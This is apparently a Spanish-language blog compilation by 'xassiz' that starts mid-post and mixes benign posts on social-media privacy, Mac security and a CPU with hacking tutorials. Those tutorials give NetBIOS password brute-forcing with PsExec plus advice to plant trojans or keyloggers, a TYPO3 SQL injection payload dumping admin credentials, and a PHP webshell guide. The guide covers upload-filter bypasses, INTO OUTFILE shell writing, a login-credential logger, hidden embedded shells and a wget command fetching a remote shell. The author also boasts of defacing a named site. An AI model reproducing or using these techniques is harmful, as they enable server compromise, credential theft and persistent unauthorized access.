&cmd^


Eso es todo, y espero que ya no se pierda más el tiempo con este tema.
Espero que os gustara este GRAN manual de 0x0309!

Saludos,
xassiz


10 Cosas que no deberías compartir en Redes Sociales

Facebook, Linkedin, MySpace y tantos otros sitios de redes sociales, ya sean generalistas, de trabajo o de nicho están haciendo furor hace un buen tiempo ya, y de hecho, el 35% de los adultos en Internet ya tienen un perfil en alguna de estas redes, y más de la mitad de ellos lo tiene en varias. Esta gente está “compartiendo información, pensamientos y sentimientos”; pero igual que en la vida real, hay algo llamado “Demasiada Información“.
El 40% de los usuarios de Facebook tienen su perfil abierto a todos, permitiendo que cualquiera vea su perfil e información.

Si bien este listado de Diez Cosas que no deberías compartir en Facebook y otras Redes Sociales tiene mucho de Sentido Común; bien sabemos que generalmente el Sentido común es el menos común de los sentidos.
10 Cosas que no deberías compartir en Facebook

Puesto 10: Conversaciones Privadas Personales

En Facebook podés dejar mensajes en el Muro de tus amigos, o dejarles videos, imágenes, enlaces, etcétera. El muro lo pueden ver todos sus amigos; mientras que un mensaje directo es como un mail y lo ven solamente quien lo envía y quien lo recibe.
Si no irías con un megáfono teniendo una conversación privada en el mundo real, tampoco lo hagas en Inernet. Si no es algo que le contarías a cualquier en persona, no lo pongas en el muro de Facebook.

Puesto 9: Planes y Actividades Sociales

A menos que planees una gran fiesta sin limitación de invitaciones, harás que algunos contactos tuyos se sientan dejados de lado por no ser parte de la invitación.
Lo conveniente es enviar una invitación por mensaje privado a quienes sean parte de la lista que querés ver en el evento.

Puesto 8: Perfiles Relacionados (Que no quieras relacionar)

Si más de la mitad de los usuarios de redes sociales tienen perfiles en más de una red; quizás haya un perfil personal y uno laboral; uno serio y uno no tan serio. Hay que tener cuidado porque lo que compartas en tu perfil personal informal, es posible que te aparezca en tu perfil profesional.
Acordate que lo que es inofensivo en Facebook quizás no lo sea en Linkedin, con tu trabajo relacionado.

Puesto 7: Información Confidencial de tu trabajo

Por muy buena noticia que sea la que compartas, quizás en realidad le estés dando material a un competidor para que tome ventaja.

Puesto 6: Tus Niños en las Redes Sociales

Si sos del 40% que no restringe su perfil. Es fuertemente recomendable que no subas fotos de tus hijos ni los hijos de tus amigos, porque cualquiera puede verlas y acceder a ellas.
También tené mucho cuidado con la información sobre ellos que brindes. Actualizar con “Quiero volver a casa que quedó Juancito solo” parece simpático e inofensivo, pero no se sabe quién puede aprovechar esa información.
Lo que tenga que ver con tus hijos solamente enviáselo a gente de confianza.

Puesto 5: Datos Personales de Contacto más allá del correo electrónico

Si ponés tu dirección y teléfono en las redes sociales; estás brindando información importante para posibles amenazas y robos de identidad y robos inclusive.
Si actualizás que te vas de vacaciones una semana y está esa actualizción relacionada con tu dirección; estás mostrando dónde habrá una casa vacía.

Puesto 4: Actualizaciones relacionadas con dinero

Así como nunca irías por la calle pregonando que vas a cobrar tu sueldo o sacar plata del cajero, tampoco deberías hacerlo en redes sociales, y mucho menos poniendo montos.

Puesto 3: Tu Contraseña

De tan obvia que es, la vamos a sacar del primer puesto y dejarla acá. La Contraseña no se comparte, no importa la confianza que tengas con la otra persona. Especialmente en el caso de una pareja. Hoy están enamorados, quién sabe después.

Puesto 2: Preguntas Secretas

En muchos sitios de Internet te realizanuna pregunta secreta por si te olvidás la contraseña para poder ingresar. La mayoría son como: Cuál es el apellido de soltera de tu madre, cuál es el nombre de tu primer mascota, cómo era la dirección de la calle en la que creciste, etc.
Es una buena idea que esos datos tampoco los publiques en tu perfil de redes sociales.

Puesto 1: Lo que no quieras que otros sepan

Ok. Volvemos a decir algo obvio. Pero si no sucediera no estaría en este puesto.
Podés seleccionar todos los seteos de privacidad que quieras, pero el hecho es que si posteás algo, tiene el potencial de ser visto por alguien a quien no estaba dirigido.
Los tests para saber qué tipo de amigo sos, qué gusto de helado te representa, etcétera, acceden a tu información, alguien que no sepa que debía guardar el secreto, o de cualquier otra forma. La información le puede llegar a quien menos pensabas.
“Cuando tengas la duda si te puede traer problemas, no lo publiques” debería ser el mantra para usar las redes sociales.

Creo que con este listado de Diez cosas que no deberías compartir en Facebook y otras redes sociales debería alcanzar para cuidarse un poco con la información. Y por si tenés dudas de cómo modificar tu perfil de Facebook va un link.



Saludos,
xassiz

Hackers : Mac OS es tan vulnerable como Windows

Los expertos en seguridad Dai Zovi y Charlie Miller, autores de "The Mac Hacker´s Handbook", algo así como "El Libro de Mano de los Hackers de Mac", han dicho en la conferencia de seguridad Black Hat en Las Vegas que no hay "polvo mágico de hadas" protegiendo los Mac. Los ataques a ordenadores Mac son muy raros, pero los expertos en seguridad creen que esto cambiará tan pronto como los Mac empiecen a ganar cuota de mercado. Zovi dijo que una vez que los hackers empiecen a poner recursos sustanciales y fijen los Mac como objetivos, serán al menos tan vulnerables como Windows.

Por su parte, Miller comentó que si bien es cierto que los hackers están avanzando, no lo están haciendo a la misma velocidad que aumenta la cuota de mercado.

La principal razón por la que creen que Mac OS será una "nuez fácil de romper" es que tiene mucho más código que Windows, dejando más espacio para errores y vulnerabilidades que los hackers pueden explotar.

Descartan el Green Dam malayo


El gobierno de Malasia ha dado marcha atrás –de momento- en sus planes de censurar Internet, tras las grandes protestas de grupos de oposición, medios y denuncias de la industria, alegando que afectaría a la inversión en alta tecnología. El pretendido filtro malayo puso en pie de guerra a los medios on-line del país y a grupos de derechos y guarda grandes semejanzas con el Green Dam chino, muestra del intento creciente de control de determinados gobiernos ante la pujanza y poder de Internet.

"El Gobierno no tiene deseos de introducir un filtro en Internet", dijo el primer ministro, Najib Razak, que contradijo un comunicado previo del ministro de Información, quien anunció el mismo, supuestamente para detener la circulación de pornografía a través de la web en Malasia.

Najib dijo que las restricciones en Internet "no son efectivas" , tras las críticas de los activos medios online del país asiático, las manifestaciones de la oposición que se saldaron con 600 detenidos, los grupos de derechos humanos y la opinión de la industria y de analistas políticos que señalaron que la medida pondría en riesgo la inversión en alta tecnología.

Un sector tecnológico del que Malasia es exportador y que se pondría en riesgo con las medidas anunciadas, que bajo el paraguas de la pornografía o de la siempre socorrida seguridad nacional, pretende al igual que el Green Dam chino, la censura y el control de la opinión de la ciudadanía en un medio en alza como Internet. Según los informes de Reporteros Sin Fronteras, la censura en Internet está aumentando en escala, alcance y sofisticación en todo el mundo. El secretario de RsF ya advirtió que "Internet es el mayor aliado de la libertad de expresión, por eso, quienes no están interesados en que se ejerza utilizan una gran variedad de métodos para controlarla".

Pentium E6500K con overclocking


Intel responde a los microprocesadores Black Edition de AMD con el lanzamiento del E6500K, el primer chip de la compañía fabricado en 45 nanómetros que llega al mercado con el FSB desbloqueado de serie, lo que permite prácticas avanzadas de overclocking. El Pentium E6500K es un doble núcleo con frecuencia de 2,93 GHz y un bus frontal de 1.066 MHz y se comercializa para competir con los Phenom II X2 Black Edition con multiplicador desbloqueado y posibilidad de activación de los dos núcleos restantes en determinadas placas base.

Con la llegada de los microprocesadores con arquitectura Phenom fabricados en 45 nanómetros, AMD ha puesto en el mercado los Phenom II X2 (Callisto) y los Athlon II X2 (Regor), dos soluciones altamente competitivas para la gama media del segmento de ordenadores de sobremesa. Especialmente notable por precio/rendimiento es el Phenom II X2 550 Black Edition, un micro con el bus desbloqueado de serie cuya frecuencia puede aumentarse hasta los 3.609 GHz (18 x 200 MHz, 1.344 voltios) y que puede convertirse gratuitamente en un flamante cuádruple núcleo habilitando los dos núcleos físicos restantes. Estas dos características, unido a un precio muy contenido, lo está convirtiendo en un superventas.

Antes de la salida de los Core i5, Intel pretende contrarrestar esta serie de soluciones de AMD ofreciendo el Pentium de doble núcleo E6500K, el primer microprocesador “Wolfdale” fabricado en procesos tecnológicos de 45 nanómetros que sale de sus factorías con el FSB desbloqueado de serie.

Tiene una frecuencia de 2,93 GHz (11,0 x 266 MHz), un bus frontal a 1.066 MHz y 2 Mbytes de caché de segundo nivel lo que deja espacio para que los amantes del overclocking “jueguen con él”. Está disponible en China en un paquete con una placa base de la firma Biostar, aunque se espera su próxima comercialización con un precio muy ajustado de 89 dólares.

Entrando por NetBios By _84kur10_


Bueno, otro gran tuto de mi bro:

Entrando por NetBios By _84kur10_


  • 0x01 Que es NetBIOS
  • 0x02 Idea
  • 0x03 Q necesitas?
  • 0x05 Accediendo al pc remoto
  • 0x06 Recomendaciones
  • 0x07 Final



    0x01 NetBIOS

    "Network Basic Input/Output System", es, en sentido estricto, una especificación de interfaz para acceso a servicios de red, es decir, una capa de software desarrollado para enlazar un sistema operativo de red con hardware específico. NetBIOS fue originalmente desarrollado por IBM y Sytek como API/APIS para el software cliente de recursos de una Red de área local (LAN). Desde su creación, NetBIOS se ha convertido en el fundamento de muchas otras aplicaciones de red.
    fuente:http://es.wikipedia.org/wiki/NetBIOS

    0x02 Idea

    La idea entonces es hacernos al password de la pc remota, para que por medio de netbios podamos conseguir una comand shell. de esta forma a la final obtendremos una conexion directa. tambien hay que tener encuenta que podemos quizas tener problemas con el firewall.


    0x03 Q necesitas?

  • Iptools : Scaner de red
  • Essential NetTools : Scaner de red
  • Psexec: herramienta Microsoft para ejecución de comandos remotos.
0x04 Scaning
Scaneas con Essential NetTools y nos encontramos cosas como:





en este caso escaneamos un rango de direcciones, = podria tratarse de una sola direccion
por default el Essential usa una lista de pass y de users a probar... = si le bruejeas un poco la puedes modificar
y colocar tu lista.


miren lo que encontramos



0x05 Accediendo al pc remoto

Observamos nuestra dirección ip


Nos conectamos al pc que obtuvimos con el scaner



Miramos la ip y notamos que efectivamente estamos en la maquina remota con privilegios de administrador




0x06 Recomendaciones finales

Una vez que tenemos este acceso a la pc. podriamos usando algun troyano. o instalar algun keylogger etc, pues eso ya depende de cada quien, dentro de las utilidades del psexec hay una que sirve para transferencia de archivos, o tambien podriamos montar un servidor tftp o ftp para transferir archivos, y posteriormente ejecutarlos.
o podria usar el atelier web commander que es una soft basado en rdp, para hacernos a un escritorio remoto,
o simplemente podriamos tratar de uniciar el servicio de escritorio remoto... y weno ya ahi depende de su imaginacion.

0x07 Final



esta es una opcion... no es 100% seguro q funcine siempre... pero a mi me ha funcionado Reir
el tutorial esta basico, pero si lo juntamos con otras cuantas cosas (que ya depende de cada quien)
se puede tornar interesante.
espero les sirva de algo


Espero que aprendierais! =)

Saludos,
xassiz


TYPO3 CMS 4.0 (showUid) Remote SQL Injection Vulnerability


#-----
TYPO3 CMS 4.0 SQL-Injection Vulnerability
#-----


#####################################################
# [+] Author : CyberNaj, JxE-13 #
# [+] Vulnerability : SQL injection #
# [+] Group : Ro0T-MaFia #
#####################################################

#-----

Info CMS:

* Name : TYPO3
* Web : http://typo3.org
* dowloand : http://typo3.org/download/packages/
* Country : Venezuela

#-----

Vulnerability:

http://www.host.com/index.php?id=[xxx][showUid]=[SQL-injection]&cHash=[xxx]

SQL-injection: -1+union+select+username,2,password,4,5,6,7+from+be_users--

Admin Panel: /typo3/index.php

#-----


# milw0rm.com [2009-08-06]





Saludos,
xassiz ;)


"Tips a la hora de usar shells + otras cuantas cosas" - by _84kur10_

Bueno, os dejo este buen manual de un bro para iniciarse con las phpshells:

Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

Código: [Seleccionar]
echo $_GET['comando'];
?>


lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=Hola
el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
Código: [Seleccionar]
( $_GET['comando']);
?>

lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=dir
se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

Código: [Seleccionar]
( $_GET['comando']);
?>


Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=index.php
con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

Código: [Seleccionar]
inurl:c99.txt
0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos. partiendo de ese principio basico se imaginaran que si colocamos digamos en google

Código: [Seleccionar]
inurl:upload.php
encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
Código: [Seleccionar]
http://www.el-informador.com/admin/me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como

Código: [Seleccionar]
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>

aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.

Código: [Seleccionar]
=explode(".",$nombreFIle);
if(
$tipo[1]=='jpg'){
echo
"paso";
}
?>

con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

Código: [Seleccionar]
union+select+,1,2,''+into+oufile+ruta/shell.php


si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto

Código: [Seleccionar]
allow_url_include = On
allow_url_fopen = On
teniendo el put activado podemos enviar enla cabecera http algo como
Código: [Seleccionar]

PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

Código: [Seleccionar]
$user_db = 'i1n1f3o4_admin'; // Server Username
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)

con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login

Código: [Seleccionar]
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]
"
;
}

$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>


Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

Código: [Seleccionar]
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

Código: [Seleccionar]
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar
Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

Código: [Seleccionar]
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


y este es el index.php

Código: [Seleccionar]
echo "Lo que sea";
?>



hay varias formas ... por un lado esta una que es simplemente:

Código: [Seleccionar]
echo "Lo que sea";
?>


if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


o

Código: [Seleccionar]
echo "Lo que sea";

if(
$_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>





p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger...



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

Código: [Seleccionar]

ForceType application/x-httpd-php


eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

Código: [Seleccionar]
if(!empty($_GET['file'])){
include
$_GET['file'];
}
?>



y podremos incluir nuestra shell asi.

Código: [Seleccionar]
http://www.victim.com/filewithlfi.php?file=shell.jpg

lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem es el peso de la shell, no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

Código: [Seleccionar]
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php
donde
Código: [Seleccionar]
www.server.com/c99.txtes la ubicacion de tu shell
y ya despues accedes a:

Código: [Seleccionar]
www.victim.com/shell.php




0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Espero que os sirviera! =)

Un saludo,
xassiz